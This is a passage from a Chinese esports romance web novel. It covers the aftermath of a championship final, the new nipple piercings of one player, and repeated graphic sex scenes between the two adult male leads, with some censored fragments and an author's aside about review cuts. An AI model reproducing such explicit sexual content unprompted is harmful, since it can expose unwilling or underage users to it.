“发挥很稳定。”稳定的万年老二,代乐开了个玩笑,“至少绝对没有投资方会撤资。” 白书罗叹气:“后三局太痛苦,我已经预感到要被怎么骂了。” “没事,七年了没赢过一次,我相信粉丝和我一样都已经习惯了。”庄路弥摆摆手,“我将会和往年一样,发一篇小作文后一周不上任何社交媒体。他们心疼我就不会骂我了。” 这句话太过理直气壮,冯宙翻了个白眼,把眼镜摘下来说:“你是一点也不悔改啊。” 韩城站在池一黎旁边,潇洒地单手拄拐,光顾着回头去看台上的场景,看到熟悉的五个人正站在金色雨下捧起奖杯。 有彩带从台前飘到幕后,混杂着观众席仿佛要将整个场馆的屋顶掀翻的声响,缓缓落到眼前暗色的地板上,在视野中闪烁出亮晶晶的光。 他扫了两眼,又转头恨铁不成钢地朝池一黎说:“三水,你就不能对他太客气!他刚刚竟然还贴脸炫耀。”他狠狠道,“冠军怎么了?!冠军了不起吗?!我们三水还是世界单人赛冠军呢!可恶的乡野村夫木寸长!” 池一黎从台上收回视线,盯着落到衣袖上的那条彩带,浅色的眸瞳亮晶晶地闪着碎光,倒映出金色的余波,缓缓开口:“他不是在炫耀。” 过了几秒,他又沉稳地补充说:“他们很强,冠军是应得的。” 这个替对手说话的队内大宝贝已经彻底没救了。 韩城看他没什么波动的冷峻侧脸,觉得再怎么恨铁也成不了钢,索性转移话题道:“第二也挺好的。输给世界冠军的意思就是——已经打败全世界百分之九十九的选手。” “所以我们一会儿吃什么?烧烤?火锅?麻辣烫?铜锅涮肉……” 庄路弥一把搭上他的肩,力道重的韩城一个踉跄,本就脆弱的小腿雪上加霜。 庄路弥高呼:“乐姐!我要吃麻辣小龙虾!三点水也喜欢吃这个!虾门!” “不行!”韩城赶在代乐点头答应前连忙说,“三水不喜欢这个!而且医生说我腿断了,不能吃辣!” 完全没有过多的伤心,HWD一群人浩浩荡荡地返回休息室。 白书罗跟着老梁去找赛训团队拿纸质版数据,庄路弥和韩城从不能吃辣掐架掐到池一黎喜欢吃什么,最后庄路弥呵呵一笑:“我说我爸是最了解他的,这样你当如何反驳?!” 韩城对牧绍的好感downdown,想到当初自己都不知道池一黎对芒果过敏这件事情,心口如遭重击,捂着腿躺在沙发上气弱悬河道:“好玩的叛徒庄路猴,不准认这可是村长当爹……” 代乐对这两人无语一瞬,转头问:“大宝贝,你想吃什么?” 池一黎刚从洗漱间回来,睫毛下倒映出微红的阴影,正在拿着手机回消息,听到这句话回复说:“我还不确定。” 韩城顿时回头:“不确定?三水大宝贝,你上次就因为村长没来聚会!” “又要什么聚会,把我们战队也带上?”从松闵跟进自己家一样推开门走进来,把手上的杯子递给池一黎:“你男朋友特意一下场就去给你热的奶茶,他在采访走不开,一会儿过来哄你。” 杯子是他放在床头那个带吸管的。里面是红茶牛奶,早上牧绍在小厨房现炒的,他一向很喜欢照着视频做这种东西。 但之前牧绍就算拿他杯子,拿的也是平时在外面用的另一个平口杯。此刻的杯子就像是在暗示着什么一样,池一黎指节微蜷,接过来握在手里没有回话。 从松闵还以为他是输了不开心,本着帮兄弟一把的原则,沉吟片刻开口:“其实这个比赛吧,木勺他……” 话还没说完,WGS副队从门口探进一颗红色的头,打断他的话:“比赛完了?池三水——我们走吗?” 池一黎按开杯盖,在全场的注视下静静地咬着吸管,不知道想到了什么,眉头微微凝起,说自己不去聚餐的表情显出几分认真:“我有事出去一趟。” 从松闵看了眼WGS副队昨天才新染的那头刺眼红毛,立刻掏出手机给牧绍发消息。 好玩的编外祖父:【你男朋友好像被带坏了。】 好玩的编外祖父:【他跟一个红毛跑了!】 牧绍正好处于采访中途的背稿环节,一眼就看到了他的消息。记忆里没有一个熟人是红色头发,又想起自己追他时染的那头橙毛,心下顿时泛起警惕,秒回了一句:【谁?】 池一黎早上就说他比完赛可能会出去。 牧绍虽然想知道他和谁一起、去哪里、去干什么,但是问多了又怕池一黎嫌自己烦。想着到时间总会知道,今天来场馆的路上一直都忍着没有问。 采访十一点结束,从松闵回的消息他没打开,置顶的那条对话框还是孤零零的。牧绍给池一黎发消息问他几点回来,池一黎说大概十二点多。 十二点多。怎么这么晚。 牧绍拒绝了两个战队的聚餐邀请,回到酒店半躺在池一黎床上,举着手机,就这样一直盯着屏幕等着他回来。 夺冠了,但是一点也开心不起来。牧绍深思,这就是打败男朋友的报应吗? 那他又不能打假赛放水。别说联盟规则了,池一黎先一步提分手要把他踹了。 房间没有开灯,整个氛围都暗沉沉的,想象里软香入怀的美好赛后夜晚不复存在,牧绍翻着手机里得到池一黎许可后存留的相册翻了个身。 不知道是池一黎出去不带他这件事烦,还是池一黎和别人出去这个认知烦,牧绍烦躁地看着手机又翻了个身。 一千张图片都被翻完。不知道过了多久,突然听到门铃被按动的声响,牧绍一个弹跳起身。打开门,池一黎正低头站在门口,捏住把手的指节用力到泛白。 在脑海里被他忽视的熟人WGS副队一头红毛,挑了挑新打的眉钉对着牧绍“嗨”了一声。拍了拍他的肩:“不错不错,不用想就知道你在他房间。” 牧绍熟练地把池一黎抱在怀里,感受到他在微微的颤抖,嫌弃地看红毛一眼:“那我能在哪?” “聚餐啊,我看到韩狗发的朋友圈了,他好惨!三水不去算了你也没去,诶村长,我还以为你会去……” 牧绍笑了一下,无情地将他的后半句话隔绝在门外。 他拦腰抱起池一黎放在桌子上,身体微微前倾,手臂紧紧环住池一黎的腰。 池一黎整个人腾空一瞬,下意识攥紧他的衣袖。坐在桌面时后背差一点就能挨到电脑,看着牧绍单膝跪在椅子上凑过来,不知道他又打算干什么。 月色从窗帘缝隙洒落,看着牧绍的那双眼睛在月光下显得格外漂亮,像是被泪水浸透的冰面,眼尾还残留着一抹未褪去的潮红,浅色的眸瞳都透着湿漉。 牧绍亲了亲他的眼尾,退开时声线带着几分可怜:“甜心宝贝老婆,你和他去干什么了?” 池一黎眨了眨沾着水汽的烟灰色眸子,半晌,伸出手轻轻抓住牧绍的指节,拉开自己队服外套的拉链,带着他向衣服里面探去。 指腹猛然触碰到两点冰凉的金属制品,牧绍抬起头看他。看到池一黎因受到刺激而浑身颤栗起来,弓身短促地喘息一声,握着牧绍的手更加用力到疼痛,眸光随着动作开始沾上更多的涟漪的余韵。 柔软上的那点冰凉与温热的躯体是两个极端,如同潘多拉的魔盒,在等待引诱着眼前的人去掀开衣服一探究竟。 牧绍黑色的眼眸暗沉沉,看到池一黎一瞬间又开始滚落泪珠,普通的动作仿佛也带上如同邀请般的艳情,砸在牧绍心上,激起一阵难以抑制的悸动。 他不由得弯起指节,朝着他弓身后退的方向移动手指轻轻碰了一下,池一黎就软在怀里开始发抖。 想到池一黎第一次答应自己时的画面,敏感到只是被揉捏胸口就会哭到喘不过气,牧绍顿时觉得有些无法呼吸。 池一黎坐在桌子上,没有去看牧绍的表情,垂下眼帘时眼睫还在细密的轻颤。似乎是觉得有些羞耻,他不自觉地抿住唇,开口时声音很低很低,细碎地呜咽道:“…你之前…说想看。” 第62章 牧绍扣着池一黎的左手力道加重了些。 他在直播时说其实也不是很想看, 是真的没有想过让池一黎去打,也没想到池一黎会真的去打,最多是玩笑般的一句口嗨。 毕竟后者平日里虽然看着冷冰冰, 但是整个人都娇气得要死,一点过多的疼痛都受不了,牧绍除了上次做的太过分惹得他不想理人外, 其他时间也不舍得让他太难受。 而且刚刚回来开门时,池一黎连眼睫都在湿漉漉地发颤,不知道在穿孔师那里哭成了什么样。 脑海里预想的场景只有把池一黎抱在怀里哄一晚上, 白色雪貂输掉比赛肯定又要委屈地把自己团成一团掉眼泪, 然后闷闷地缩进他怀里不说话。 等到把他安慰好后,池一黎再允许干一点其他事情的话就更好不过。因为要准备比赛,牧绍整整八天单纯偷偷摸摸地趁他睡着捏一捏, 虽然池一黎好像根本就没有睡着。 但是现在——男朋友怎么背着自己就去悄悄打了?! 牧绍觉得心口也跟着他一起疼起来:“甜心,我最后不是说…不想看吗?” 池一黎速度很慢地摇摇头,突然不知道该怎么开口。 说是牧绍想看只是一句借口和契机,而且他最后确实还说了光在心里想想就好。但是池一黎看到弹幕的时候, 心里就有一点想去尝试。 接触过的没接触过的……和牧绍在一起后解锁了很多第一次。打电竞当职业选手本身就是一件离经叛道的事情, 如果真的不愿意,一开始就不会有这样的想法。 他是想了很久后才下的决定, 早已经做过了可能会很疼的心理准备。 牧绍见他不说话,顿时更不知道该怎么办, 心里甜蜜又酸楚,放轻了声音问:“很疼吗?” 池一黎泪腺太过发达,听到这句话,还没有开始思考,就自动掉下一连串的眼泪。 “那我亲亲你。”牧绍触碰他胸膛的那只手一动也不敢动, 凑过去吻了吻他水润的眼角,没忍住又说,“我今天,我……” 他说了两句,学过的书和百度百科根本没有教过他遇到这种事情该怎么办,最后索性把脑袋埋到池一黎脖颈:“宝贝池一黎,我今天回来是想哄哄你,我打败了你,让你又一次拿不到冠军,我真的太坏蛋了,你怎么还这样奖励我……” 温热的气息传感到皮肤表面,池一黎敏感地向后缩了一下,心里觉得其实还好。 七年没有赢过一次,队友尚且已经习惯,HWD队内氛围一切如常。两支战队今年的实力相差过大,他早就已经料到了这个结果,也已经把心态放平稳。 毕竟还有世界赛单人冠军,一对一的话可以赢过牧绍,不是真的一点也没有得到。 池一黎抿了抿唇,不愿意再进行这个话题。用攥住牧绍衣袖的那只手轻轻拽着他,声音低低地喘了一下。 没等牧绍反应,他就主动抬手环住牧绍的脖颈,缓和着情绪一点一点挺胸,直到把所有送入他的掌心。 池一黎很轻地眨了眨眼睛,亮晶晶的泪珠滚落到衣服上,眸光薄薄地蒙了一层雾,就这样看着他,就像是在问你怎么还不开始。 右手手心是点着两颗冰凉的细腻绵软,手背是衣服带着薄绒的布料,牧绍被他的行为勾得有些实在压抑不住,没忍住把内衬勾着撩了起来。 那两团雪白仍然指痕未消,在肿大充血的首端旁分别静静缀着两颗银白色的小点,小巧精致,在月光下闪烁出银色的流芒,倒映进幽深的瞳孔。 【1】牧绍想到那位不知道是男是女的穿孔师,就是这样用镊子准确地夹住目的地,然后动手开始进行穿刺,最后再紧贴住胸膛,上手用指腹把钉子旋转固定,后知后觉地感到有些不爽。 池一黎咬住他递过来的衣服下摆。撑起身体时声音有些紊乱,语言如同让人上瘾的罂-粟:“…不摸吗?” 银白色的钉子随着说话时的换气呼吸在空气中颤栗,起伏间荡着柔波。露出的大片瓷白色肌肤在昏暗房间里格外醒目,仿佛自带一层淡淡的光晕。 眼下的一切都在引人犯罪,牧绍笑起来:“甜心老婆,你是在邀请我吗?” 牧绍低下头将那点冰凉磕在唇齿。温热湿润的舌面扫过脆弱的钉子颗粒,带着微弱却不容忽视的刮蹭感。 一阵电流感冷不丁地窜入脑海,池一黎瞬间咬不住嘴里的布料,衣服落下时布料连带着牧绍的脑袋一起笼罩住,呜咽着收起手臂抱紧了他的脖颈。 牧绍的脸陷进一团柔软的棉花,耳畔回荡着的是池一黎细密的喘息。 【2】他一点一点舔咬着嘴里的钉子,又有些不满意,指节揉捏着边缘,张开嘴,如同像是要把整个都吞吃入腹。 再将扣住腰的手抬起来,摸到另一侧没有照顾到的地方,捏住最中心的一点冰凉的金属触感,狠狠向下按压。 微长的黑色碎发在眼前一扫而过,池一黎反射性地仰起头,褪去不好接触的冷感,颈部的线条流畅柔和,从下颌到锁骨之间勾勒出一道完美的弧度,宛如艺术家精心雕琢的曲线。 他目光失神地盯着什么也没有的天花板,呼吸滞空一瞬,妄图说一些什么来回应牧绍的话,可一开口就是破碎的呻吟。 失去腰部的支撑点,后背几乎都已经靠在电脑屏幕上,池一黎只能用力地扣着牧绍的肩膀,将全身都贴在他身上,反而更加方便后者叼着那一颗金属钉不断地上下其手。 【3】池一黎大脑一片空白,明明坐在桌子上,却感觉不到身躯触地的安心。被不间断传来的唉这一段我怎么改都过不了但是为了保护读者权益不能少于3848字我只能这样了。 眼眶控制不住地不断滚落泪珠,整个人如同融化在高温的火里的黄油,直到被打横抱到被上凶狠地亲吻,池一黎还蜷缩着身体,沉溺在上一轮里没有反应过来。 队服外套披在身上,内衬乱糟糟地堆积出褶皱。池一黎四肢软的完全支撑不住自己,衣着半遮半露,像融化后掺了粉白杂质的雪水一样,瘫在被子上迷离地喘息。 牧绍将他捞起来牢牢固定在怀里,张开嘴,毫不留情地在冷白的肩膀上留下一连串细密的齿痕。 池一黎意识不清地低头,微微凸起的脊椎骨纤细而脆弱,在视野里一无遮拦地看到被手掌覆盖的、随着猛烈攻势仍然在不断摇晃的金属光泽。 明明已经一点也受不住,却还经不住地想要被更加过分地对待。他对于自己这具不知满足的躯体感到羞怯,忘记可以闭上眼睛,下意识想去捂住双眼,又被牧绍钳住腕骨反手禁锢在背后,挺起腰将自己整个暴露出来。【4】 烟灰色的瞳孔因为他的动作快速放大,池一黎呜咽着,却只能听到从咽喉中不断迸发而出的缠绵哭腔。 躯体的触感无比潮湿,好像又回到之前哭泣到崩溃的场景,窒息感遏制住什么也思考不了的大脑。过度的寰宇与欢愉使得他更加头脑不清。被翻过身时,连眼前牧绍的脸也看不真切,因为被泪水打湿而变得朦胧模糊。 池一黎断断续续地在他怀里喘息,等到被毫无征兆地突然松开,一时间软软倒进被子里止不住地开始抽搐。 情绪层层叠叠,思绪不断下坠,连带着离开拥抱的不安感一起萦绕在心绪,他眨着眼睛愣愣地看着眼前的人,牧绍的身影被泪水糊的看起来离他很远很远,但伸直胳膊就能攥住他的衣袖。 等到身体半晌从痉挛的状态恢复,池一黎回过神,才慢动作地撑起绵软的胳膊,紧紧扯住牧绍的衣服布料想把他拉过来抱住自己。 但是一点力气也没有,力道像是蚂蚁攻击大象,躺在那里委屈地不断掉着眼泪,把手撑在床上,努力了两次才堪堪撑着床直起身,把自己贴过去挨着他,想要环住牧绍的脖子讨一个吻。 耳畔有一道诱哄的声线,握住他的手引导着放在自己身上聚拢。牧绍微微侧头躲过,坏心眼地在他耳畔吹气:“你这样不动,我就亲亲你。” 一次索吻不成,池一黎保持着他想要的姿势,安静了几秒,似乎是在努力分辨他的话,跪在衣服上用湿漉漉的眼睛看着牧绍。面容沾染上酡红的妆容,眼尾残留着抹不掉的胭红,眼神早已失去平日的冷静镇定。 没等牧绍开始干什么,眼泪砸到胸膛那瞬,池一黎就像是小机器人接收到指令触发成功一样行动起来。 【5】已经有了前一次的经验,他只在 【6】身体因前倾的姿势而展露出 【7】眼前的人 【8】但贪得无厌的青年人完全不会感到餍足, 完全来不及躲过去,身上黏糊糊的,两个人的混合在一起。池一黎眨眨模糊的浅眸,抬起手沾了沾睫毛上混合着泪水的粘稠,顿时控制不住起伏的情绪。 他哽咽着叫了几声牧绍,叫完哥哥叫主人,最后乖乖地喊了一声老公,想去缩在后者怀里,但看到他身上整齐又干净,残留的一点意识又怕弄脏衣服,不由得眼泪掉得更厉害了点。 牧绍看起来完全没有想移动的迹象,池一黎跪在那里,落下泪珠时身体还在不停歇的颤抖,完全没有再贴过去的力气,攥住衣袖的那只手微微缩了缩,又勾住袖口,想要把他往自己这边扯过来。 这副模样看起来有些过于可怜。牧绍听得心满意足,忍不住还想继续去欺负他,但是理智短暂地战胜了一秒,搂着腰把他抱进怀里,勾勒着泪滴氤氲的眉眼,用纸巾把池一黎的脸一点一点擦干净。 怀中的人颤抖地更加厉害,刚刚拽着他的衣袖想被抱住,此刻又伸手不断地推他,想要从怀里离开。但是力道过于软绵绵,没有任何实质性的推拒感。 恶劣的想法完全是突然在脑海里出现,牧绍手指探过去压了下他新打的银色钉。亮晶晶的两颗画龙点睛般点在艳色的图画上,池一黎急促喘息一瞬,团起身体,颈后的发丝都触电一样开始炸开,在他怀里抖得停不下来。 牧绍放在那里的手指再次点了一下,池一黎瞬间安分地窝在他怀里,没有再敢有其他动作。 墙上的指针已经过了三点,想到明天还要赶飞机,牧绍硬生生忍住还想继续的念头。他掐着池一黎的腰把他往自己怀里带了点,咬住艳红的唇瓣,动作很轻地从嘴角开始,一路又咬又舔地安抚。 牧绍放大的脸骤然逼近,池一黎下意识抬手环住他的脖颈,眸瞳泛起湖泊般的涟漪,微微张开双唇,任由牧绍小狗一样啃了一会儿。几分钟后,只觉腰间一紧,整个人已被他稳稳地揽腰公主抱了起来。 房间里没有开灯,牧绍凭借着记忆里的轮廓向浴室走去,高大挺拔的身影在微弱月光的倒映下投射在地板上,显得格外有力。 路上池一黎像是雪貂洗脸一样蹭了蹭他的衣服,紧紧贴上来缩在他怀里,直到牧绍把他放进浴缸时,才反应过来什么一样愣住。 牧绍这次的行为和之前相比就和小打小闹一样,脑海全被快感的余韵占据,完全没有经过思考,像是害怕被抛弃一样,池一黎一把抓住了牧绍的衣袖。 他抽泣着,拉着牧绍的手放到自己身上,换气时腔调都夹杂着破碎:“…可以…再过分、一点的…” 第63章 比完赛如果没有紧跟的赛事行程, 选手一般都会在当地停留几天当作旅游放松。 但是这座城市基本没什么好看的,代乐说那第二天回去好了,早回家就能多放假。 牧绍很自觉地拎着行李箱跟池一黎一块回HWD俱乐部, 上飞机后坐在他旁边的行为行云流水。后排的韩城觉得小腿生疼,暂时懒得喷这位敌队成员,坐在那里开始打屏幕游戏。 ZKS战队所在的省份与HWD战队是两个相反的方向, 后天才统一返回。庄路弥“诶”了一声,趴在沙发靠背上揶揄道:“你又要来住三点水对门?” “对门?”牧绍嘴角扬起,就像是专门等人来问他一样, 挑眉刻意道:“甜心宝贝池一黎要带我回家啊。” 冯宙把他的字词中的重音语气听得一清二楚, 一边按switch一边快速抬头,学着他的腔调吐槽道:“村长哥,你是真的好嚣张啊。” 牧绍笑意深了点, 正打算懒洋洋接话,但窝在他怀里睡觉的池一黎似乎是被他们吵到,脑袋向外侧了一下,顿时几个人都噤了声。 窗外的阳光折射出金色的光芒, 牧绍手臂收紧, 在脑海预演到时候去男朋友家该怎么表现,滑着手机攻略帖陷入深思。 池一黎在电话里答应和他在一起的当天晚上, 牧绍给长居海外的父母报告,两个人表现的比知道他开始追人时还要震惊。 牧父看完牧绍得意洋洋发过去的照片, 例行夸奖后,抬起头难以言喻地审视了他整整五分钟,相当疑惑地问这块冷冰凉是怎么被他这种二五八万的人追到的,并说不久后会回国,等他们比完赛就去男朋友家拜访。 牧绍先是纠正他口中诡异的造词‘冷冰凉’, 然后问:对你儿子轻松追到对象这件事这么不可思议吗? 他自诩十项全能、人帅多金、干净顾家而且事事有回应,最重要的一点是还特别会打游戏,池一黎看上他多正常。 牧绍觉得他简直就是——这世界上唯一适合和池一黎结婚的完美男友人选。 牧母闻言微微一笑,给予赞同的表态后单方面把视频电话挂断。 看上他的池一黎今天早上六点半才迷迷糊糊进入睡眠状态,十点便被代乐打电话叫起来收拾东西。 后半赛事期间,牧绍基本没回过自己的房间,早就在前一天把行李箱收拾完毕。丝毫没有一点通宵后的精神疲惫,等池一黎一句话没吭地挂断电话,凑过去轻轻咬了咬他发红的唇瓣,说他去整理就好。 这一趟国内航班只有公务舱,但可以把双人座椅中间的隔断移开。池一黎带着口罩,身上盖了件薄毯,全身上下只露出微长的碎发和一双鸦睫自然垂落的眼睛,眼皮沉阖,安静地枕在牧绍肩膀处,呼吸安稳而缓和。 即将迎来春天,池一黎穿着衣领挡住下巴的薄款黑色冲锋衣,被遮盖住的身躯糜烂柔软,衣袖里的手蜷缩着攥紧牧绍的卫衣布料。 牧绍头上是和他同款的鸭舌帽,薄毯下的手探入外套,贴住内衬安分地搂住腰,没有向上移动半分。那四颗银色的小圆钉被揪了一整晚,此刻再受不住任何粗暴的对待。 早上牧绍给他涂药时只轻轻挨到,池一黎就水一般滩在那里战栗,胸口起伏如浪花般波涛澎湃,像是在睡梦里毫无征兆地又经历一次潮期。 明明两个人已经亲密接触过很多次,到现在池一黎甚至会反射性地主动贴上来,但每次触碰到时还是会给出最青涩敏感的反应。牧绍碰他一下,单纯看他控制不住自己时那种与行为相反的懵懂表情,就可以一直盯着看很长时间。 昨晚也是。只短暂睡了几个小时,所以来机场的路上池一黎看起来没什么精神。 他一身黑衣黑裤,身形修长似刀锋,鸭舌帽上随意叠戴外套的连帽,手插着兜,因为困倦没有其他多余的举动。 鸭舌帽的帽檐被压的很低,无法窥见他完整的表情,突兀的身高在人群中带着难以忽视的存在感,迈步时显得冷酷如冰,却被衣服布料磨得面无表情地掉眼泪。 百度百科说上药后需要透气,牧绍没有给他贴创可贴,那两点轻轻接触到衣料就酥麻得发颤,活跃的泪腺单方面和大脑宣布断联,哪怕情绪没有过多的起伏也完全止不住。 刚上飞机时牧绍贴到他耳边说话,言语诚恳但毫无忏悔之心地进行反思。池一黎眨了下沾染水汽的烟灰色眸瞳,下意识想回应,但一开口就觉得咽喉沙哑疼痛,嘴角绷直呆在那里,好半晌才缓缓摇头。 毕竟昨天晚上是他说要继续的,牧绍做的再过分也不能把这件事怪到对方头上。 头上的鸭舌帽被摘下来,池一黎在牧绍的手钻进外套那刹顺势靠过去,用发丝蹭蹭他的肩窝,声音低低地说没关系。 三个字声线沙哑,音调还透着缱绻缠绵的韵尾,像是洒在耳畔的细沙轻轻滑过,冷不丁漏走半拍心跳。 牧绍品味了一番这副和上次截然不同的态度,再想去说些什么,却发现不过半分钟,池一黎就保持着刚刚的姿势在他怀里睡着了。 下午三点半下飞机,池一黎打算过几天再回家。牧绍都无所谓,刚好还多了一些见面前的准备时间,进HWD基地就跟进自家大院一样熟悉,泰然自若地准备把他本人和行李箱一起摆进池一黎房间。 韩城借着还庄路弥平板的理由,身残志坚地跟着他们上三楼,拄着拐隐晦提醒道:“哥们,其实你不在的这些天,对门每天都有阿姨来打扫的!” 牧绍用食指转着鸭舌帽“嗯”了一声,屈起长腿随意点着地,坐在行李箱上继续盯着池一黎看,扫到他黑色袖口处露出的半截指骨,瓷白透粉,上面覆着难消的淡青色咬痕。 庄路弥一听就明白他的意图,嫌弃地开口:“韩狗,你下次复查的时候要不顺便去看下脑子吧?” 韩城横眉:“行啊,要不咱两一起?” 池一黎握着门把手回头,思维暂时还处于停转状态,没反应过来韩城第一句话的意思,撞进牧绍视线时下意识点了点头。 牧绍懒散开腔道:“宝贝老婆,你不想和我住在一起吗?” 世界第一亲友团代言人韩城续横眉后开始冷对,郑重点了点拐杖道:“你们领证了吗就这样喊?” 池一黎还是那副全副武装的打扮,脸被口罩和鸭舌帽挡住,站在那里很小幅度地歪了下头,像是在思考着回答牧绍的话,看起来整个人十分的不清醒。 反正门都已经开了,牧绍站起来,单手环住他的腰往里面一带,顺便勾着行李箱往门里一拉,关门前短促一笑:“你猜我们领没领?” 门在眼前被不客气地关上,韩城秒速转头:“我靠,他爹的村长是什么意思?!” 庄路弥咳嗦了一声:“反应这么大干什么?”他摸出手机,又想起什么,不禁乐道,“超话大主持,意思是你cp背着你偷偷结婚了~” 韩城早就因为歪屁股太严重而被投票踢出了主持人团队,闻言悄然大怒,一怒之下又怒了一下,怒完消了气问:“那我是不是得准备什么当作新婚礼物?” 思维转弯后他接受得十分良好:“不能不办婚礼吧?三水还好,照村长那个性格,怎么可能不昭告天下?世界赛下个月才开始,现在准备岂不刚好,我要包个超大版的坐挚友那桌!” 路过的冯宙凉凉道:“配上桌吗?你蹲下吃。” “什么玩意蹲下我坐狗那桌……等等,”韩城突觉不对,“这么大的事,村长怎么没发微博炫耀?” 庄路弥严肃地说:“为了让你这样的人大吃一惊。” 牧绍当然没发微博,他纯粹口嗨转移话题。 他随手把行李箱滑到墙边,揽着池一黎倒在床上,后者因被挤压到金属钉而微微颤栗,几秒后侧躺着蜷起身体又困困地想睡觉。头顶的帽子在刚才的动作间掉到地上,微眯起的眼眶里还藏着泪滴。 牧绍身上只穿了件厚卫衣,他把口罩摘下来,再拉下池一黎冲锋衣的拉链,看到他和纯黑色外表全然不相符的放荡内里。 完全没系扣子的衬衫大敞,左侧衣领斜斜地挂在肩膀处,雪肤朱痕,从脖颈到胸膛全是昨晚犯下的罪行。似乎是察觉到他的视线,视野中心的两团摇晃着微颤两下。 牧绍努力把目光移动到他脸上,压低声音哄道:“池三水,衣服脱了再睡。” 池一黎睁开雾蒙蒙的浅眸,思考了好一会儿,最后不知道成功接收到哪几个字,在外套被扔到一旁后,慢半拍地握住牧绍的手放到自己身上。 泪滴砸到床单,他无意识间喘息着挺了挺腰。牧绍被这突如其来的举动惹得呼吸加重一瞬,还没有其他什么想法,池一黎又猛地反应过来妄图及时止损,把发抖的身体滑到他怀里,声音哑哑地说困。 牧绍微微用力下压掌心,两点小圆钉就随着他的呜咽起伏,不由得语调加重道:“宝贝儿池一黎,再这样,你今天就别想睡觉了。” 池一黎把脸埋在他衣服里没有回应,像是默许了牧绍话语里所说的行为,但很快,他用脑袋蹭了蹭眼前的布料,掉着眼泪闷闷地摇头说难受。 但牧绍的手还被拉着放在那里,呼吸时能清晰地感知到手心坚硬粗糙的茧,池一黎怕他不打招呼地直接开始,又因为是自己主动的邀请而没法对他生气,抬起手拽了下他的卫衣袖口,声音很低地叫了一声老公。 池一黎这一连串的动作在昨晚做了无数次:拽衣角就是想被抱,叫人就是想让他停下来。 在情-事中这样的举动会适得其反成为致命的诱惑,崩塌仅存的理智,但现在牧绍没法不对他投降。更何况池一黎身上已经没几处是原本的冷白肤色,也受不住再一次的侵-犯。 他果断收回阻隔两人紧贴在一起的手,方便池一黎整个人都毫无缝隙地缩进来。用胳膊环住他,问:“宝贝儿,哪里还觉得难受?你要不再骂骂我?我昨天太开心了,根本控制不住自己。或者等一会儿睡着了再给你涂点药,不然你还是会不舒服。还是全身都觉得难受…” 池一黎又是摇摇头,抬起头亲了一下他的唇角,突然很轻地说:“…喜欢你。” 牧绍还在着急地问他哪里不舒服,听到这句话愣了一下,反应过来这是在回复前一句话语中说的骂骂自己,随即勾了点笑,存心逗他:“甜心,我这么讨人厌的,你喜欢我哪里?” 池一黎沉默了半晌,语气认真地说:“…很厉害。” “哪里厉害?”牧绍故意问他,“打游戏,还是说昨天晚上……?” 牧绍一张嘴就带着颜色,池一黎觉得他好讨厌,凝眉换了一个词,语调微哑:“…很烦人。” 意思是,牧绍讨人厌这方面的天赋已经厉害得登峰造极。 牧绍才不管他换的词,把池一黎抱着翻了个身,愉悦地从上方盯着他眼睛道:“宝贝儿,甜心,池三水,亲爱的,你是不是就喜欢我烦你?” “——如果你看向我,我会温柔地消融,像火山中的雪①。”他笑起来,“池一黎,我很高兴你这样说。” “你睡吧,到点了我叫你吃饭。” 池一黎被他这样一折腾,虽然还是很困,但突然觉得有些睡不着。他闭上眼睛,从一数到一百依然没有进入睡眠。睁开眼睛,牧绍枕在他肩膀上不知道在干什么。 “睡不着吗?”牧绍问,卫衣布料磨到展露而出的柔软,声音从耳畔传来,“那和我做个调查问卷?” 他微撑起自己的身体:“爸妈喝酒吗?” 池一黎不知道他要干什么,摇了摇头当作回应。 牧绍安静了一会儿,又问:“那抽烟吗?” 池一黎还是摇头。 牧绍凑过去亲了亲他鼻梁上的那颗痣,删掉手机备忘录的几条备选,给他看了一下自己整理的二十七行礼品清单,嘴角的笑意完全挡不住:“怪不得我老婆这么乖。” 池一黎侧头的动作一顿,突然想起牧绍说他父母过几天也要过来,后知后觉地眨了眨眼睛,抿唇问:“…他们,喜欢什么…?” 第64章 五天后是周六, 妈妈发消息说刚好那天休假,让他顺便把牧绍带回来一起吃饭。 爸爸说他打算大展拳脚以此欢迎,池一黎盯着这行字, 有点分不清是预备做饭大展拳脚还是行动上大展拳脚,谨慎地在群里扣了个1。 回俱乐部第二天爸爸就问他什么时候回家,池一黎想着自己身上的痕迹太严重, 等红印稍微消一点、说话也没问题后再回去。但是忘记这些天牧绍每天都和他待在一起。 堆在角落里的两大箱被牧绍找时间拆掉,之前池一黎拆出一盒避-yun-套后就再没动过箱子里的东西,但里面除从松闵送的占据大半空间的玩具用品外, 其他人送的东西都看得出是花费了很多心思的。 伍于起送的是一个A4纸大小的叶雕双人画, 被用复古边框裱了一圈,转动侧边的小机关还会变化图案,设计异常精巧妙思。 忠实粉丝徐克山送了整整六册池一黎的单人赛事图集, 随集附赠有每个赛季的全套UR英雄角色卡,还有粉丝拍摄的六张和牧绍两个人的双人决赛台握手瞬间。 牧绍坐在电竞椅上翻图集,突然想起什么一样,开口说:“韩城当时给我送了三箱活珠子。” 池一黎不知道活珠子是什么, 但这个名字听起来像是个很差劲的礼物。他环着牧绍的脖颈, 想替韩城说声对不起,但箱子里的那些东西在征得他的同意后, 被牧绍一边拆着一边比划,现在只能坐在他腿上不停地颤抖。 他克制住混杂不清的音节, 试着想要开口回复,但是敏感的身体永远不受控制,池一黎猛然收紧环住牧绍的手臂,把脸埋在他的颈窝里小口喘息。 “宝贝儿池一黎,你是想替他道歉吗?”牧绍放下遥控器, 看着突然软在自己怀里的人,撩起他胸前银色的链子,搂着腰的手又翻过一页图集。 几秒后,牧绍低下头亲亲他:“其实还挺好吃的。” 池一黎身上是衣领掉到肩窝的白色衬衫,扣子从下方数只系了三颗,刚好遮盖住一半的浑圆,露出凹陷漂亮的U型锁骨。银色的胸链在脖颈环过两圈,尾端挂在两侧的银色钉上,中间最长的一条流苏被包裹进沟壑里,其余自然垂落进衬衫,半遮半掩间,愈加显得性感诱人。 “…但是可能是他家的特产,你肯定不喜欢。”牧绍把那条流苏勾出来,见它随着呼吸的起伏又重新滑进去,坏心眼地往外拽了一下。 池一黎不受控地闷哼一声,发抖时睫毛颤栗如蝴蝶扇翅,上一轮的酥痒感仍余韵未消,伴随着泪珠滚落,呜咽着更加把自己往他怀里缩。 衣服很快就被他的泪水打湿一大片,黏嗒嗒地渗过布料贴紧皮肤。 牧绍锢住他的下颚让他转向自己,稍一用力,下巴处瓷白的肌肤就印上红痕。他吻上池一黎泪珠源源不断的艳红眼尾,不管看多少次还是很好奇:“池三水,你是水做的吗?” 如果现在不是穿搭整齐地坐在椅子上,牧绍往往会从大腿侧一路捏到小腹,下一句再说他其实会和同人文里写的一样可以魔法怀孕,然后遗憾地咬着他的肩膀问你怎么没有那个东西。 